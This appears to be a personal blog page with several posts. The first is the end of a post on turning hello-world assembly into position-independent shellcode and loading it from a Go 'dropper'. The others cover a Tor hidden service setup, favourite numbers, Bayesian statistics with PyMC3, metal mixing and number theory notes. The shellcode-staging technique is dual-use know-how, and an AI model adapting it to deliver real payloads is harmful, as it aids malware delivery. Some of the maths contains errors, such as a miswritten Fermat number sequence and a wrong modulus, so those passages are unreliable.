Disassembly of section .rodata:

0000000000402000 <msg>:
  402000:	48                   	rex.W
  402001:	65 6c                	gs ins BYTE PTR es:[rdi],dx
  402003:	6c                   	ins    BYTE PTR es:[rdi],dx
  402004:	6f                   	outs   dx,DWORD PTR ds:[rsi]
  402005:	2c 20                	sub    al,0x20
  402007:	77 6f                	ja     402078 <msg+0x78>
  402009:	72 6c                	jb     402077 <msg+0x77>
  40200b:	64 21 0a             	and    DWORD PTR fs:[rdx],ecx

The .text section is as we would expect it, but the instruction at address 40100a moves the absolute value 0x402000 to the rsi register. This is the address of the msg label.

Objdump thinks that the .rodata contains assembly and therefore tries to show us instructions. These are bogus. It’s the static string Hello, World!.

When we execute the assembly above with the loader in Golang, we cannot control where the message is put. Thus, the program would fail.

Second Attempt at Assembly

As discussed in the section above, we need to re-write our assembly as position independent code (PIC).

Let’s take a look at the following file HalloW64nodata.asm. The name is due to the fact, that the data section is missing.

;; compile with 
;; nasm -f elf64 -o HalloW64nodata.o HalloW64nodata.asm
;; ld -o HalloW64nodata.out HalloW64nodata.o

global _start

section .text       ; section declaration

_start:
  jmp end           ; jmp to the end
start:
  mov rax, 1        ; write syscall
  mov rdi, 1        ; stdout file descriptor in destination index (di)
  pop rsi           ; "Hello, world!" in source index (si)
  mov rdx, 13       ; length of "Hello, world!"
  syscall           ; execute

  mov rax, 60       ; exit syscall
  mov rdi, 0        ; return value success
  syscall           ; execute

end:
  call start
  msg db "Hello, world!", 10

Execution starts by jumping to end. From there start is called, pushing the address of the instruction pointer to the stack. This instruction pointer is popped to rsi. Hence, rsi contains the address of the string Hello World!.

This code contain the string Hello, World! in the .text section. The address of this string is computed at runtime by the call/pop-trick.

Let’s again take a look at the disassembly.

$ objdump -d -M intel HalloW64nodata.out 

Disassembly of section .text:

0000000000401000 <_start>:
  401000:	eb 1e                	jmp    401020 <end>

0000000000401002 <start>:
  401002:	b8 01 00 00 00       	mov    eax,0x1
  401007:	bf 01 00 00 00       	mov    edi,0x1
  40100c:	5e                   	pop    rsi
  40100d:	ba 0d 00 00 00       	mov    edx,0xd
  401012:	0f 05                	syscall 
  401014:	b8 3c 00 00 00       	mov    eax,0x3c
  401019:	bf 00 00 00 00       	mov    edi,0x0
  40101e:	0f 05                	syscall 

0000000000401020 <end>:
  401020:	e8 dd ff ff ff       	call   401002 <start>

0000000000401025 <msg>:
  401025:	48                   	rex.W
  401026:	65 6c                	gs ins BYTE PTR es:[rdi],dx
  401028:	6c                   	ins    BYTE PTR es:[rdi],dx
  401029:	6f                   	outs   dx,DWORD PTR ds:[rsi]
  40102a:	2c 20                	sub    al,0x20
  40102c:	77 6f                	ja     40109d <msg+0x78>
  40102e:	72 6c                	jb     40109c <msg+0x77>
  401030:	64 21 0a             	and    DWORD PTR fs:[rdx],ecx

This is exactly how we want it.

Creating a Frankenstein Binary

Next, I cut the position independent code from the binary and converted it to hex.

We cannot simply take the binary as it is, as it’s in the ELF format. There is some additional information about which sections exist and where they need to be mapped in the virtual memory when executing the file.

We don’t need this. We need just the .text section. We can either cut it manually, or use objcopy.

$ objcopy -O binary  --only-section=.text -I elf64-x86-64 HalloW64nodata.out Opcodes.bin

The file Opcodes.bin now contains exactly the content of the .text section.

$ xxd Opcodes.bin 
00000000: eb1e b801 0000 00bf 0100 0000 5eba 0d00  ............^...
00000010: 0000 0f05 b83c 0000 00bf 0000 0000 0f05  .....<..........
00000020: e8dd ffff ff48 656c 6c6f 2c20 776f 726c  .....Hello, worl
00000030: 6421 0a                                  d!.

As you can see, this is exactly what we got above from the disassembly by objdump. However, when we want to have it as a hex string for putting it into our dropper we need to cut the first and last column.

$ xxd Opcodes.bin | sed 's/........: //;s/  .*//;s/ //g'| tr -d '\n'
eb1eb801000000bf010000005eba0d0000000f05b83c000000bf000000000f05e8ddffffff48656c6c6f2c20776f726c64210a

And boom! We have the string.

Next step is putting it into the loader, compiling, executing and staring at the screen in awe.

Interfacing Golang with C

I should probably also write a little bit about how I interfaced Go with C. Actually, my original goal when writing the dropper was to program a nontrivial program in Golang. You could use any language for the code, but for educational reasons, i was choosing Golang There is really not much to say about the C interface. I just read the documentation of cgo and followed the steps.

Epilogue

I hope you learned something reading this. Stay Cheeki Breeki!

Setting Up A Tor Hidden Service

2022-11-28T00:00:00+00:00

In this post, I describe how to setup a tor hidden service. The information can be found scattered among many manpages and websites. So i tried to collect all of that in one place, in case I have to do it again.

Idea

So the other day i got that raspi and had no idea what to do with it. I decided to set up a tor proxy for my network together with a tor hidden service.

The tor proxy is in my local network and listens port 9100. I just have to configure a browser extension such as FoxyProxy to use it, and can buy cheap flight tickets without being tracked. Other applications (irc, ssh, …) that support a SOCKS-Proxy can be tunneled as well. Note that this is not optimal if you really care about privacy when browsing the web, as information can be leaked using, e.g., the client headers. In this case you have to use the official tor browser bundle. However, I wanted to have a trade-off between usability and privacy.

The use case of the hidden service is to share files with my friends. I have the ability to set up my own web server, but I do not want to pay for a server or a DynDNS entry. Additionally, I do not want to be watched by DropBox, Google Drive or whatever the current capitalist overlord is named. The web should be for the people not for big corporations.

As tor is an overlay network, you do not even need to forward the ports on your router. Theoretically, you could set up a hidden service in the guest wifi of a McDonalds branch. (I am not a lawyer. Check your local laws if this is legal. Probably it is not.)

Tor Setup

Installing Tor can be done with the package manager on most (or even all) Linux distros. For Debian based distros, we need to execute sudo apt-get install tor.

Next, we need to edit the file /etc/tor/torrc to activate the service. We can uncomment the following lines or simply add them at the end of the file.

SocksPort 192.168.0.100:9100 # Bind to this address:port. This is the ip of the Pi.
SocksPolicy accept 192.168.0.0/24
Log notice file /var/log/tor/notices.log
RunAsDaemon 1
DataDirectory /var/lib/tor

This configures the Pi to listen on port 9100 for connection from my network which are then tunneled over Tor. It configures a log file and a directory where Tor can keep temporary data.

Monitoring Tor

When we have tor running and can connect from another host, it is time to start monitoring the service. For this purpose, there is the tool nyx which can be installed using the package manager. Nyx provides a text user interface for various statistics regarding Tor traffic. In order to use nyx, we need to enable the control port of the tor server to allow nyx to control tor.

First of all, we need to generate the hash of a password which we will use to authenticate to the control port of Tor. In the example below, i am using the password aa. This is only for demonstration purposes. My real password is a lot more complex. If you are following along at home, please pick a more secure password.

pi@raspberrypi:/etc/tor $ tor --hash-password aa
16:A2B35E5E960E017A60E2F9F5A241E6D0330E2E2D65DD3B7AD90A134C60

After we have generated the hash, we need to edit /etc/tor/torrc as follows.

ControlPort 9051
HashedControlPassword 16:A2B35E5E960E017A60E2F9F5A241E6D0330E2E2D65DD3B7AD90A134C60

This simply opens the port 9051 for control and adds the authentication information. When we start nyx, we are asked for the password. This allows nyx to monitor the tor service via its control port.

Setup of the Hidden Service

Next, we set up the hidden service. First of all, we install a web server such as nginx. We restrict nginx to localhost, such that it is only available using tor and not via the normal internet. This is for hardening reasons, as we do not want to use the server over the internet anyway. Note that we do not need TLS certificates, as the connection is encrypted and authenticated anyway due to usage of tor.

As we are using nginx, we can restrict the service to localhost by adding listen 127.0.0.1:80 default_server; in the server directive in /etc/nginx/sites-available/default.

Next we need to tell tor about our hidden service by editing /etc/tor/torrc as follows:

HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:80

This instructs tor to store the data concerning the hidden service at /var/lib/tor/hidden_service. It does not include the content of the website, as that is served by nginx. Rather, Tor stores the key pair and the host name for the service there. In particular, the host name is in the file /var/lib/tor/hidden_service/hostname.

Host name Creation

By default the host name of the hidden service is ugly and may look like the following: 545ek374745gyewvnm3eeu7dr7oangha35v7nldz5sntsqy2x4zj75qd.onion. This is not easy to remember and looks simply ugly. As far as i know, the host name is the base32 encoding of the first 80 characters of the hash of the public key or something similar. As the hash function works as a one-way function, a beautiful host name is not easy to choose directly. The naive approach is to guess secret keys, compute the corresponding host names and stop if we have found a nice one. Fortunately someone else has already written code for that. There is Shallow and Eschalot which unfortunately only work with RSA keys. For ed25519 keys, we need to use mk224o. This allows us to specify a prefix and returns the data directory with the corresponding keys for a host name starting with that prefix. Just make sure to choose a l33t prefix such as “silkroad”.

Example usage is as follows:

pi@raspberrypi:~/mkp224o-master $ ./mkp224o -S 30 -d tmp silkroad

The argument to -S prints statistics every specified amount of seconds. The argument to -d is the name of the output directory. If the tool terminates, just copy the output directory to /var/lib/tor/hidden_service/ and you are done.

The Story Of The Number On My License Plate

2022-07-09T00:00:00+00:00

Intro

Back in April, I bought my first car. Here in Germany, you can pick your license plate and one part of it is a number. So, as the nerdy mathematician that I am I selected a special number. First, I tried 6174 but in my region you can only pick numbers with three digits. Next, I tried 257 but that one was already taken, probably by another mathematician. Finally, I picked 561 which was still available and is now on my license plate.

In this blog post I will tell you about these favorite numbers of mine. This post is not very technical, so you should be able to follow along, even if you are not a mathematician.

The Kaprekar Number 6174

Let us take a random number with four digits, say 3827. Then we can sort the digits in ascending order and get 2378. Sorting in descending order gives 8732. If we subtract the larger number from the smaller number, we get:

\[8732 - 2378 = 6354\]

We can continue this process with the new number. Sorting it gives 3456 and 6543 and subtracting yields:

\[6543 - 3456 = 3087\]

What happens if we continue this process? Do we get back to the starting number? Do we hit all numbers with four digits? Do we end up in a cycle and fluctuate between five numbers? You can pause a moment here and think about what your intuition says. But next, let’s try it out.

\[8730 - 378 = 8352\\ 8532 - 2358 = 6174\\ 7641 - 1467 = 6174\\ 7641 - 1467 = 6174\\ ...\]

So for the starting number 3827 we end up with 6174. What happens if we start from a different number, say 5553?

\[5553 - 3555 = 1998\\ 9981 - 1899 = 8082\\ 8820 - 288 = 8532\\ 8532 - 2358 = 6174\]

And we are back at 6174. It is a surprising fact, that for all numbers with four digits, except 1111, 2222, 3333, 4444, 5555, 6666, 7777, 8888, and 9999, we end up with the Kaprekar number 6174. That means that 6174 is a special number in some sense and appropriate for a license plate.

Does this work for numbers with three digits? Or five digits? What happens if we do not take numbers in base 10, but in a different base? Fun questions to spice up your weekend.

The Fermat Prime 257

The number 257 is a prime number. That means that it has no divisors except 1 and 257. But, i hear you asking, what is so special about this prime number? Well, we can decompose it as $257 = 2^{2^3}+1$.

Any number of the form $F_n = 2^{2^n}+1$ is called Fermat number. If we look at these numbers, for the first few $n$, we get $1,3,17,267,65537$. These are all prime numbers. But for $n=5$ we get $2^{2^5}+1 = 4294967297 = 641 \cdot 6700417$ which is not a prime. In fact, it is unknown if any Fermat number $F_n$ for $n>4$ is prime.

Another nice fact about Fermat numbers, is that their binary representation looks like $1000...00001$. In particular, $257$ in binary is $100000001$. This allows very fast exponentiation with 257. As an example, if we want to compute $a^{257}$ for some number $a$ we would need 257 multiplications, in the naive case. However, as $a^{257} = a^{2^{2^4}+1} = (((a^2)^2)^2)^2 \cdot a$, we can compute it using only 5 multiplications! This fact is often used in the signature and encryption algorithm RSA to speed up the implementation. The public key in the RSA algorithm is often set to $65537=F_4$.

All these facts make $257$ a nice prime number. Whenever I wrote some number theoretic code and needed a large prime number for a test case I used 257.

The Smallest Carmichael Number 561

Fermat’s little theorem says that for any prime number $p$ and any number $a$ which is smaller than $p$ the following congruence relations holds:

\[a^{p-1} \equiv 1 \mod p\]

The modulo operation is just the usual remainder of the division with $p$. Let us make an example. As a prime we can use $p=5$, as $a$ we can use any number, say $a=2$. Then we get:

$a^{p-1} = 2^{5-1} = 2^4 = 16 = 3\cdot 5 +1 \equiv 1\mod 5$. The last step is just division with remainder. 16 divided by 5 is 3 with a remainder of 1.

How about the reverse way? Does Fermat’s little theorem work for numbers that are not prime? Mostly not. (We will get to the exceptions later.) If we take $9=3\cdot 3$ as an example, and again $a=2$, then $2^{9-1} = 2^8 = 256 = 3\cdot 85 +2 \equiv 2 \mod 3$. For a prime number we would get 1 instead of 2. But 9 is not a prime, and so we get 2.

This suggests that we could use Fermat’s little theorem to create a primality test. If we want to check if a number $p$ is prime, we could take some $a$ and check if $a^{p-1} \equiv 1 \mod p$. The more different $a$ we take, the more certain we can be in the primality of the number $p$.

However, this does not always work. This test produces false positives, i.e., there are numbers that are detected as primes by this test, but which are not primes. These are the exceptions I wrote about earlier. These numbers are called Fermat pseudoprimes or simply Carmichael numbers. And – you probably guessed it by the title of this section – the smallest such number is 561. The next Carmichael numbers are 1105, 1729, 2465, 2821, 6601, 8911, 10585, 15841, 29341, 41041, 46657, 52633. So one could get the impression that they are sparse in some sense. And as that number was not yet taken, it ended on my license plate.

A Painless Intro To Bayesian Statistics

2022-05-29T00:00:00+00:00

Intro

Today I want to write about Bayesian statistics. Bayesian statistics is an approach to inferring probabilities. It provides ways to specify a previous belief (the prior) and update the belief, as new observations are made and new data becomes available. Thus, it is a valuable instrument for very diverse areas such as earth quake prediction or clinical trials.

Previously, Bayesian analysis was often cumbersome, as the involved probabilities are often hard to compute. In most cases, the equations are not solvable analytically at all. However, in the last few years new algorithms such as Hamiltonian Monte Carlo or NUTS have been discovered that enable to tackle the math part. As a consequence, it was possible to design probabilistic programming languages such as Stan or PyMC3 that separate the math from the modelling. It is now possible to handle the occurring probability distributions without explicitly handling the math parts.

In this blog post, I contrast Bayesian analysis with machine learning and the frequentist interpretation of probability. Then, I explain Bayes’ theorem, the heart of Bayesian analysis. I conclude with an example of contemporary usage of Bayesian analysis by inferring the probability of a biased coin with PyMC3.

Bayesian Modelling vs Machine Learning

Machine learning is usually concerned with predicting future behavior based on observed data. This can encompass classifying or clustering data.

As an example, machine learning software can classify the gender of persons based on their facial features. For this, the machine learning algorithm is trained on a data set of facial images, together with the annotated gender. In a subsequent phase, the algorithm can associate novel facial images, which were not previously in the data set, to a gender.

One main drawback in my personal point of view is the limited introspection of machine learning. No additional knowledge is created that explains why the model works the way it does. In our example, if an image is assigned to the wrong gender, there are only very limited ways to trace the origins of this failure.

Further, the lack of transparency within the algorithm can lead to algorithmic bias. If the training set lacks people of color or of nonbinary genders, the algorithm will fail on those groups.

Bayesian modelling, in contrast to machine learning, is not focussed on predicting, but instead on inferring. In Bayesian modelling, the internal parameters of the model are inferred based on the observed data. This helps significantly in understanding the data and the process that generates the data. However, in Bayesian modelling a model needs to be crafted by hand, in contrast to machine learning, where the algorithm can learn the model by itself.

Bayesian vs Frequentist Interpretations of Probability

Whenever I read a general introduction to Bayesian methods, the author contrasts it with frequentist approaches to probability. It took me a long time to understand the practical implications of this distinction. So, if you do not grasp this, do not despair. This stuff is hard.

There are two main philosophical interpretations of probabilities: the frequentist and the Bayesian interpretation.

In the frequentist interpretation, probability is based on the frequency of how often something has already been observed. If a coin is flipped 10 times and lands on head 3 times and on tail 7 times, then the probability of the coin landing on head is 30%. From a frequentist perspective it does not make sense to talk about probabilities of things that can not be repeated.

In the Bayesian interpretation, probability is based on the certainty, sometimes also called the belief, of an observation happening. This allows to talk about the probability of life on mars, or the probability of some person being elected as president. In contrast, from a frequentist point, either there is life on mars, or there is no life on mars, but there is no way to talk about the certainty.

In particular, when a coin is thrown ten times and lands on head 3 times or when a coin is thrown 100 times and lands on head 30 times, there is no difference in the frequentist interpretation. A frequentist will in both cases infer that the probability of the coin landing on head is 30%, as that is the maximum likelihood estimator. In a Bayesian setting, however, the certainty of the coin landing on heads 30% of the time can be estimated. Or in other words, the probability of the coin landing on heads is not only a single number, but comes from a probability distribution.

Bayes’ Theorem and Challenges

Let us now come to the heart of Bayesian analysis: Bayes’ Theorem. Bayes’ theorem is a simple formula that allows the updating of a belief when new data is made available. Let us call $D$ the observed data, $\theta$ is a parameter of our model, $P$ denotes the probability. Then Bayes’ theorem looks as follows:

\[\begin{align*} P(\theta\mid D)=\frac{P(D\mid \theta)P(\theta)}{P(D)} \end{align*}\]

This formula is not magical and can be derived from basic probability theory. However, Bayes’ theorem is very important and if you understand this formula well enough, then all books about Bayesian analysis are just footnotes to this formula. In fact this formula is so central, that each of the occurring terms has a special name.

$P(\theta \mid D)$ is called the posterior. It is the refined belief in $\theta$ considering the available data $D$.
$P(D\mid \theta)$ is called the likelihood. It is the probability of getting the data $D$ when we use the parameter $\theta$ in our model.
$P(\theta)$ is called the prior. This is the strength of our belief in $\theta$ without considering any data.
$P(D)$ is called the evidence. It is the least important part of the formula and often only considered as a normalizing factor, so that the sum of all probabilities is 1. If you want to actually compute this, you have to sum (or integrate) over all possible values of $\theta$, weighted by their certainty.

If you want to take a look at an easy example of applying Bayes’ theorem, you can read one of my first blog posts.

One of the main problems when using Bayes’ theorem is that the formulas that occur are often not solvable analytically. Thus, for a long time, Bayesian analysis was limited to the usage of conjugate priors. These are prior distributions for a fixed likelihood, such that the posterior is again from the same family of distributions. As an example, the beta distribution is a conjugate prior for the likelihood function of the binomial distribution. This allows to update the posterior further, as even more new data becomes available.

Probabilistic Programming – An Example

In this section I will walk you through applying Bayesian modelling to a coin flip. We start with a coin that has an unknown probability $\theta$ of landing on head. Thus, as prior distribution all probabilities are equally likely. The coin may fall on head with a probability of 30%, or 90% or something else. We do not know in advance. Thus, $\theta$ is not treated as a single value (as in a frequentist setting) but instead as a random value itself.

This is modelled with a beta distribution. A beta distribution is a fancy distribution that has two parameters, $\alpha$ and $\beta$. Depending on their values, the beta distribution can take a wide variety of forms and thus is flexible enough for our purpose. For $\alpha=\beta=1$ we get the uniform distribution. This is what we choose initially, as we think that all values of the bias $\theta$ of the coin have the same probability.

A small but important detail is that we implicitly assume that the coin flips are independent, i.e., the probability of the coin landing on head does not change. Without this, the math would not work out. In our case it is a reasonable assumption, but keep it in mind, if you want to generalize this model.

Next, we need to acquire data to refine our estimation of $\theta$. For this we throw the coin 10 times and count the number of heads. This follows a binomial distribution. As a nice fact, the beta distribution is a conjugate prior for the binomial distribution, thus further justifying our choice of distributions.

Using Bayes formula, we calculate the posterior, given the data of the coin flips. That means, we infer the probability of the coin landing on head, given some coin flips.

Even though this is a very simple example and can be solved analytically as we are in the beta-binomial model, it is not easy to calculate. And in fact, we will not compute this analytically, but rather use probabilistic programming for inferring the posterior probability. You can find the analytic solution in many introductory books to Bayesian statistics and in some blog posts. Note that the analytic solution is only “simple” to calculate, due to the fact that the beta distribution is a conjugate prior for the binomial distribution. In other cases, this cannot be computed analytically at all.

In mathematical notation, our model looks as follows:

\[\begin{align*} \theta \sim \mathrm{Beta}(\alpha,\beta) \\ y \sim \mathrm{Bin}(n=10,p=\theta) \end{align*}\]

The parameter $\theta$ is the probability of the coin landing on head. $y$ is the number the coin lands on head, given 10 flips of the coin.

First, we need to simulate the data of our coin flip, as i do not have a real biased coin at hand.

import numpy as np
from scipy import stats

np.random.seed(1)
N = 10
theta_real = 0.3 # this is unknown
data = stats.bernoulli.rvs(p=theta_real, size=N)

The coin flips in the array data are [0 1 0 0 0 0 0 0 0 0]. I have fixed the seed, so you can follow along at home in front of your screen.

Next, we compute the posterior, i.e., the probability distribution of $\theta$, given access to the data. For this we use PyMc3, as it provides us with state of the art MCMC algorithms, so we do not have to care about the math.

import pymc3 as pm

with pm.Model() as my_model:
    theta = pm.Beta('theta', alpha=1, beta=1)
    y = pm.Bernoulli('y', p=theta, observed=data)
    trace = pm.sample(2000, random_seed=1)

Internally, the sample command is the part where all the magic happens. It uses the NUTS (No U-turn Sampler) which is an extension of the Hamiltonian Monte Carlo algorithm. But we do not have to care about that. All we have to care about is the correct modelling. PyMC3 will do its magic and give us a posterior.

Next, we want to visualize the posterior in order to evaluate it. For this, we are using the plot_posterior function from ArViz.

import arviz as az
import matplotlib.pyplot as plt

az.plot_posterior(trace)
plt.show()

This yields the following image.

This is the approximation of the posterior probability of $\theta$. The peak is at 0.16 as we only had one head among the ten throws of the coin. In a frequentist analysis, we would get 0.1 as the estimate, i.e., the mode of the Bayesian prior. However, in a Bayesian analysis, we get the whole distribution of $\theta$ and thus, our certainty.

I do not know with certainty (bad pun intended), why there is the difference between 0.16 and 0.1. I suspect it is due to the number of samples or some approximation error in the algorithm.

At the bottom we see the 94% HDI. This is the highest density interval (HDI) – a measure of dispersion of our distribution. It means that the real value of $\theta$ is between 0.011 and 0.35 with a probability of 94%. The HDI is analogous to the confidence interval in frequentist statistics.

If we have more samples from the data, our estimate of the bias $\theta$ is more exact and will converge to the real value of theta as you hopefully have guessed. Let us try the same Bayesian inference with more samples.

import numpy as np
from scipy import stats

np.random.seed(1)
N = 1000 # more samples this time.
theta_real = 0.3 # this is unknown
data = stats.bernoulli.rvs(p=theta_real, size=N)

import pymc3 as pm
import arviz as az
import matplotlib.pyplot as plt

with pm.Model() as my_model:
    theta = pm.Beta('theta', alpha=1, beta=1)
    y = pm.Bernoulli('y', p=theta, observed=data)
    trace = pm.sample(2000, random_seed=1)

az.plot_posterior(trace)
plt.show()

And we get the following estimation of the bias $\theta$ of the coin.

As you can see, the 94% HDI is now from 0.27 to 0.32 and the mean is 0.3.

Conclusion

As you have seen, making use of Bayesian models without a detailed understanding the math and algorithms behind it is not very hard. It is possible to build tailored Bayesian models that allow to infer information about the data and thus gain more insight than usual machine learning models.

I hope I could inspire you to go out and play around with that knowledge. Do not be intimidated if something breaks. That is part of learning.

Mixing Metal Music

2022-04-09T00:00:00+00:00

Intro

In this post, I will share my knowledge about mixing metal music. I have been in (mostly metal) bands on and off since age 16. And even though I always tried to get around mixing the music I have accumulated some knowledge.

This is how I mix metal. There are many other ways to do it, but if you do it like this it serves my taste. The most important part is that you do not need expensive gear to mix metal. As a friend of mine said, all you need is your ears and some balls.

Guitars

At best, record two guitars - one slightly left, one slightly right - to make it sound bigger.
Set the gain not higher than 70%. Except for Lo-Fi Black Metal.
Noisegate to cut away the quiet noises.
Cut everything above 10k Hz.
Cut everything below 100 Hz to leave room for the bass.
Sweep the frequency spectrum with a bandpass and high Q to find unwanted noises. Usually somewhere around 4k Hz there is a noise I do not like. Bandpass it away (bandcut?) with a lower Q.
If you are a pro, you can boost the mids around 1,3-1,4k Hz slightly.

Vocals

Vocals are often too quiet, so one of the challenges is to get them loud enough without killing them.
Do not cup the fucking mic when recording. Cupping the mic changes it from a cardioid characteristic to an omnidirectional mic.
Noisegate the breath noises.
Compressor to get the voice loud enough.
Cut everything above 10k Hz.
Cut everything below 150-200 Hz to leave room for the bass and make the vocals clearer.
Around 2-2,2k Hz is the range which is necessary for understandability. A small boost sounds cool here.
Again as with the guitars, remove unwanted noises with a bandpass.
To make the vocals sound more huge, you can copy them and insert them ~10ms later and more quiet. This is similar to the double tracking of the guitar. Alternatively, a monodelay can be used with a delay of 10ms (or 32th notes of the tempo of the song) and 25% volume. But please keep in mind that this is technically how a comb filter works, so verify with your ears.

Bass

I often do not use a bass. If I do, I simply lowpass it. If I do not use a bass, the guitars can live in the low frequency spectrum < 100 Hz.
The biggest secret to my bass guitar tone is that it is a normal guitar and not a bass. I pitch it down one octave, after recording. This is not a professional tip, but saved me learning bass guitar.

Drums

Drums are all over the place in the frequency spectrum.
The bass drum competes with the bass guitar for the low frequencies, so sometimes it makes sense to slightly boost the high frequency (the “click”) of the bass drum.
If you are a pro, you can let the bass guitar duck when the bass drum hits using sidechaining. Whenever I do that, I use too much of that effect and it sounds unnatural.
Use reverb. Reverb moves sounds into the background.
Tape saturation. In my opinion tape saturation glues together the various sounds of the drum kit. And it smoothes the cymbals.

A Whirlwind Tour Through Elementary Number Theory

2022-03-05T00:00:00+00:00

Intro

This post is a very fast tour through elementary number theory. It consists mainly of lecture notes shrinked to a cheat sheet.

Linear Diophantine Equations

$ax+by=c,\;a\neq 0,\;b\neq 0$ (solvable $\Leftrightarrow gcd(a,b)\mid c$)

Let $d:=gcd(a,b)=ax_0+by_0$. Then the solutions are $x=\frac{c}{d}x_0+\frac{b}{d}n,\;y=\frac{c}{d}y_0+\frac{a}{d}n$ for all $n\in\mathbb{Z}$.

Perfect Numbers

$n\in\mathbb{N}$ is called perfect $:\Leftrightarrow n=\sum\limits_{d\geq 1,\;d|n}^{n-1}$.
$\sigma(n):=\sum\limits_{d|n}d\Rightarrow n$ is perfect $\Leftrightarrow 2n=\sigma(n)$.

$n=p_1^{\alpha_1}\cdots p_r^{\alpha_r},\;p_i\in\mathbb{P}$ for all $i \Rightarrow \sigma(n)=\sigma(\prod\limits_{i=1}^{r}p_i^{\alpha_i}) =\prod\limits_{i=1}^{r}\sigma(p_i^{\alpha_i})=\prod\limits_{i=1}^{r}\frac{p_i^{\alpha_i+1}-1}{p_i-1}$

$n=2^{s-1}b$ for all $s\geq 2$, b odd $\Rightarrow$ (n perfect $\Leftrightarrow b\in\mathbb{P}\wedge b=2^s-1$)

$M_s:=2^s-1$ for all $s\geq 1$: $M_s$ prime $\Leftrightarrow: M_s$ Mersenne prime $\Rightarrow s\in\mathbb{P}$

$F_s:=2^s+1$ for all $s\geq 0$: $F_s$ prime $\Leftrightarrow: F_s$ Fermat prime $\Rightarrow \exists t\in\mathbb{N}:s=2^t$ (Proof through geometric series)

The Totient Function

$\varphi(n):=\lvert \mathbb{Z}_n^*\rvert$

Euler’s theorem: $k,n\in\mathbb{N}_{>0},\;gcd(k,n)=1\Rightarrow k^{\varphi(n)}\equiv 1\;(mod\;n)$ (Proof by observation in $\mathbb{Z}_n^*$)

Fermat’s little theorem: $k\in\mathbb{N}_{>0},\;p\in\mathbb{P}\Rightarrow k^p\equiv k\;(mod\;p)$.

It follows that $n\in\mathbb{P}\Rightarrow\forall k\in\{1,\cdots ,n-1\}:k^{n-1}\equiv 1\;(mod\;n)$.

$n\in\mathbb{Z}$ is called Carmichael number $:\Leftrightarrow\;(\forall a:gcd(a,n)=1\Rightarrow a^{n-1}\equiv 1\;(mod\;n))$

Computing $\varphi(n)$

$n=\sum\limits_{d|n}\varphi(d)$

$p\in\mathbb{P}\Rightarrow\varphi(p^\alpha)=p^\alpha-p^{\alpha-1}$ (Proof by Induction)

$\varphi(n\cdot m)=\varphi(n)\cdot\varphi(m)$ (Proof by induction over $n\cdot m$)

Similar to chinese remainder theorem: $\mathbb{Z}_{nm}^*\cong\mathbb{Z}_{n}^*\times\mathbb{Z}_{m}^*$

and thus $\varphi$ can be computed as $\varphi(n)=n\cdot\prod\limits_{p\mid n,\;p\in\mathbb{P}}(1-\frac{1}{p})$

Multiplicative Functions

$\psi:\mathbb{N}_{>0}\rightarrow\mathbb{R}$ is called multiplicative $:\Leftrightarrow \psi(nm)=\psi(n)\cdot\psi(m)$ for all $n,m\in\mathbb{N}$ with $gcd(n,m)=1$

$\sigma,\varphi$ multiplicative

$\begin{equation} o(n):=\begin{cases} 1, & n=1\\ 0, & else\\ \end{cases} \end{equation}$ is multiplicative

$e(n):=1$ multiplicative, $i(n):=n$ multiplicative

$f$ multiplicative $\Rightarrow f(1)=1\vee \forall n\in\mathbb{N}:f(n)=0$

$f, g$ multiplicative $\Rightarrow (f\cdot g)(n):=f(n)\cdot g(n)$ multiplicative

We define the Dirichlet convolution for $f,g:\mathbb{N}\rightarrow\mathbb{R}$ as $(f\star g)(n):=\sum\limits_{d\mid n}f(d)\cdot g(\frac{n}{d})$

Dirichlet convolution: commutative, associative, $o$ is the neutral element

$f, g$ multiplicative $\Rightarrow f\star g$ multiplicative

$\mu:\mathbb{N}\Rightarrow\mathbb{R},\; \begin{equation} \mu(n):=\begin{cases} (-1)^r, & n=p_{1}\cdots p_{r} \text{ is squarefree} \\ 0, & \text{ else} \\ \end{cases} \end{equation}$ is multiplicative.

$f:\mathbb{N}_{>0}\rightarrow\mathbb{R},\;F(n):=\sum\limits_{d\mid n}f(d)=(f\star e)(n)$ summation function of $f$

We have the following identities: $\varphi\star e=i,\quad i\star e=\sigma,\quad\mu\star e=o,\quad o\star e=e,\quad \frac{\mu}{i}\star e=\frac{\varphi}{i}$

$e\star e=\tau,\;\tau(n):=\sum\limits_{d \mid n} 1$ the number of factors

The Diophantine Equation $x^2+y^2=p$

Every polynomial that is not constant has roots modulo infinitely many primes (Idea of proof $f(p_{1}\cdots p_{r}a_0x)=a_0g$)

$p\in\mathbb{P}$ odd: $x^2+1\equiv 0\;(mod\;p)$ is solvable $\Leftrightarrow p\equiv 1\;(mod\;4)$ (Idea of proof: $1\equiv(\alpha^2)^{\frac{p-1}{2}}\;(mod\;p)$)

It follows that there are infinitely many primes of the form $p\equiv 1\;(mod\;4)$.

Wilson’s Theorem

Let $K$ be a field, $\alpha$ a zero of $f\in K[X]$. Then $\Rightarrow (\alpha-x)\mid f$ (Idea of proof: $f=q(x-\alpha)+r,\;deg(r)<deg(x-\alpha)$)

$f\in K[X],\;deg(f)=n\Rightarrow f$ has at most $n$ zero points.

Wilson: $p\in\mathbb{P}\Rightarrow (p-1)!\equiv -1\;(mod\;p)$ (Idea of proof: $x^{p-1}-1\in\mathbb{Z}_p[X]$ and Euler)

Primes as Sum of Two Square

$x,y\in\mathbb{Z}$ with $x^2+y^2=p\in\mathbb{P}\setminus\{2\}\Rightarrow gcd(x,p)=gcd(y,p)=1$

$x,y\in\mathbb{Z}$ with $x^2+y^2=p\in\mathbb{P}\setminus\{2\}\Leftrightarrow p\equiv 1\;(mod\;4)$ (Idea of proof: Fermat’s theorem)

Thue’s lemma: $a\in\mathbb{Z}\;,n\in\mathbb{N}$ is not square $\Rightarrow ax\equiv y\;(mod\;n)$ has a solution $(x,y)\neq(0,0)$ with $\lvert x\rvert,\;\lvert y\rvert <\sqrt{(n)}$

The Group of Units in $\mathbb{Z}_n$

$\lvert G\rvert=n$

$\forall d\mid n\exists\varphi(d)$ elements of order d $\Leftrightarrow$ G is cyclic.

$K$ field, $G\leq K^*$ subgroup, $\lvert G\rvert=n<\infty\Rightarrow$ G is cyclic (Idea of proof: $x^d-1$)

$a \in\mathbb{N}$ is a primitive root modulo $n:\Leftrightarrow\overline{a}\in\mathbb{Z}_n^*$ with $o(\overline{a})=\varphi(n)$, therefore $\mathbb{Z}_n^*=\langle\overline{a}\rangle$

$\alpha\geq 3 \Rightarrow$ there is no primitive root modulo $2^\alpha$, since $a^{2^{\alpha-2}}\equiv1\;(mod\;2^\alpha)$

